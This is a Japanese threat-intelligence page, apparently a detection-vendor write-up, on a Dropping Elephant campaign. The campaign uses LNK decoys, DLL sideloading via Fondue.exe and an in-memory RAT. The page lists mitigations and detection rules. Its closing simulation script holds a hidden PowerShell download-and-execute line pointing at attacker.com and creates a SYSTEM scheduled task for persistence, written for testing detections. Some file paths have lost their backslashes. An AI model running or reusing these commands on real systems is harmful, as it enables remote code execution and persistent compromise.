最新のマルウェア: Dropping Elephantのローダーチェーンの内部
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Dropping Elephantに帰属される洗練されたキャンペーンは、中国をテーマにした囮ドキュメントを使用して、更新されたメモリ常駐型リモートアクセス型トロイの木馬を配信します。侵入は、正当なMicrosoftバイナリを経由したDLLサイドローディングと、ディスクベースの検出を回避するためのDonutシェルコードローダーに依存しています。最終ペイロードは、制御フローのフラット化や実行時API再構築を含む高度な回避方法も使用しています。
調査
Rapid7の研究者たちは、PDFドキュメントを装った悪意のあるWindowsショートカットから始めた積極的なハントの中でこの脅威を発見しました。調査は、最初のステージングからペイロードチェーンを追跡しました chinagreenenergy[.]org を通じたDLLサイドローディング経由で APPWIZ.cpl のメモリ内RATの実行まで。Diaphoraを用いたコードレベルの分析により、Dropping Elephantの初期サンプルとの共通性が確認され、徹底的な再構築にもかかわらず、共通の系譜が明らかになりました。
緩和策
守るべき者は、PowerShellを起動するショートカットファイルや C:UsersPublicでの疑わしいペイロードステージングのような行動検出を優先すべきです。異常な名前のスケジュールされたタスクを監視することと、予期しないディレクトリからのDLLサイドローディングを確認することも重要です。さらに、エンドポイント防御ではメモリレベルでの可視性が必要で、AMSI、WLDP、ETWの改変を捕捉する必要があります。
対応
この活動が検出された場合は、影響を受けたシステムを直ちに隔離し、さらなるコマンド&コントロールのトラフィックを遮断してください。メモリフォレンジックを行い、注入されたRATを特定し、永続化のためにスケジュールされたタスクを調べてください。ネットワークログもまた、既知のC2ドメインへの不正HTTPS通信やファイル抽出の兆候を調査するべきです。
攻撃フロー
検出
IPルックアップの可能性があるドメイン通信(dns経由)
表示
異常なコードページ変更実行(コマンドライン経由)
表示
疑わしいスケジュールされたタスク(監査経由)
表示
パブリックユーザープロファイルからの疑わしい実行(プロセス作成経由)
表示
疑わしいディレクトリからロードされたVcruntime140ダイナミックライブラリ(画像ロード経由)
表示
パブリックユーザープロファイル内の疑わしいファイル(ファイルイベント経由)
表示
Dropping Elephantのマルウェアキャンペーン検出 [Windows ネットワーク接続]
表示
Fondue.exe を介した悪意のあるDLLサイドローディング [Windows ファイルイベント]
表示
ショートカットとサイドローディングによるDropping Elephantマルウェアキャンペーン検出 [Windows プロセス作成]
表示
シミュレーションの実行
前提条件:テレメトリーとベースラインの事前確認が通過する必要があります。
理論:このセクションでは、検出ルールをトリガーするよう設計された敵対技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。
-
攻撃ナラティブとコマンド: 敵対者は持続性を確立し、ダウンローダーを実行しようとしています。標準のメールフィルタを回避するために、
GRES3001.lnkという名前のショートカットファイルを使用し、それがPDFのように見えます。クリックすると、conhost.exeを呼び出して、PowerShellスクリプトを実行します。同時に、Googleのエラーレポータとして偽装して、一般点検をかわすために、GoogleErrorReportという名前のスケジュールタスクを作成することで持続性を確立し、Fondue.exeを公衆ディレクトリから実行することを目指しています。 -
回帰テストスクリプト:
# 1. ショートカット/Conhostの動作をシミュレート # コマンドラインで特定の文字列を使用してconhost.exeの実行をシミュレート Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # 注:ルールの'CommandLine contains GRES3001.lnk'に厳密に一致させるために、そのファイルからの呼び出しのようにプロセスコールをシミュレート # シンプルなスクリプトで親プロセス名を偽装することは難しいため、期待されるコマンドライン文字列をシミュレート Write-Host "[!] GRES3001.lnkトリガーのシミュレーション中..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # 実際の環境では、Sysmonの'CommandLine'フィールドにはターゲット文字列が含まれるでしょう。 # 2. スケジュールタスクとFondue.exeのサイドローディングをシミュレート Write-Host "[!] GoogleErrorReportスケジュールタスクのシミュレーション中..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "シミュレートされたDropping Elephantタスク" -User "SYSTEM" -Force Write-Host "[+] シミュレーション完了。SIEMでアラートを確認してください。" -
クリーンアップコマンド:
# ダミーマルウェアバイナリを削除 Remove-Item -Path "C:UsersPublicFondue.exe" -Force # 悪意あるスケジュールタスクを削除 Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] クリーンアップ完了。"